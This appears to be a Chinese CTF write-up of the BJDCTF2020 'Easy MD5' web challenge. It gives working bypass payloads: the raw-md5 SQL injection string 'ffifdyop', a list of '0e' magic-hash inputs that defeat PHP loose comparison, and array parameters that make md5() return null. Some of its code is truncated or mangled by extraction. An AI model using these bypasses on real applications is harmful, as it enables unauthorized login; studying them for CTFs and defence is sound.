[BJDCTF2020]Easy MD5(浅谈PHP弱类型hash比较缺陷)

目录

信息收集

构造payload 

PHP弱类型hash比较缺陷

0e碰撞

数组MD5

总结


信息收集

看题目应该和MD5加密相关

[BJDCTF2020]Easy MD5(浅谈PHP弱类型hash比较缺陷)_第1张图片

select * from 'admin' where password=md5($pass,true)

PHP的MD5函数

string 必需。规定要计算的字符串。
raw

可选。规定十六进制或二进制输出格式:

  • TRUE - 原始16字符二进制格式
  • FALSE - 默认。32 字符十六进制数

构造payload 

";
echo md5($str, TRUE);
echo "
"; echo md5($str); ?>

字符串:ffifdyop
'or'6�]��!r,��b
276f722736c95d99e921722cf9ed621c

即此时执行语句为select * from 'admin' where pass=''or'6�]��!r,��b'

[BJDCTF2020]Easy MD5(浅谈PHP弱类型hash比较缺陷)_第2张图片

根据sql语句的弱等于规则,此刻判定为1永真,进入admin

[BJDCTF2020]Easy MD5(浅谈PHP弱类型hash比较缺陷)_第3张图片

 查看源码

PHP弱类型hash比较缺陷

== 在进行比较的时候,会先将两边的变量类型转化成相同的,再进行比较

0e在比较的时候会将其视作为科学计数法,所以无论0e后面是什么,0的多少次方还是0。

因此CTF比赛中需要用到弱类型HASH比较缺陷最明显的标志便是管理员密码MD5之后的值是以0e开头,在已知管理员密码md5值是以0e开头的前提下,观察代码逻辑,如果是使用"=="判断即可直接传入md5值是0e开头的任一密码。

0e碰撞

常见0e开头的MD5

QNKCDZO
0e830400451993494058024219903391
240610708
0e462097431906509019562988736854
s878926199a
0e545993274517709034328855841020
s155964671a
0e342768416822451524974117254469
s214587387a
0e848240448830537924465865611904
s214587387a
0e848240448830537924465865611904
s878926199a
0e545993274517709034328855841020
s1091221200a
0e940624217856561557816327384675

[BJDCTF2020]Easy MD5(浅谈PHP弱类型hash比较缺陷)_第4张图片

payload

?a=240610708&b=QNKCDZO

跳转到以下页面

 

数组MD5

payload

param1[]=1¶m2[]=2

原理

md5等函数不能处理数组,导致函数返回Null。而Null是等于Null的,导致了绕过。看下面的示例,是返回了yes的。(题目中就传入    ?param1[]=1¶m2[]=2)


[BJDCTF2020]Easy MD5(浅谈PHP弱类型hash比较缺陷)_第5张图片

总结

md5(array()) = null
sha1(array()) = null    
ereg(pattern,array()) = null vs preg_match(pattern,array) = false
strcmp(array(), "abc") = null
strpos(array(),"abc") = null

你可能感兴趣的:(web安全,密码学,PHP,安全,php,web安全)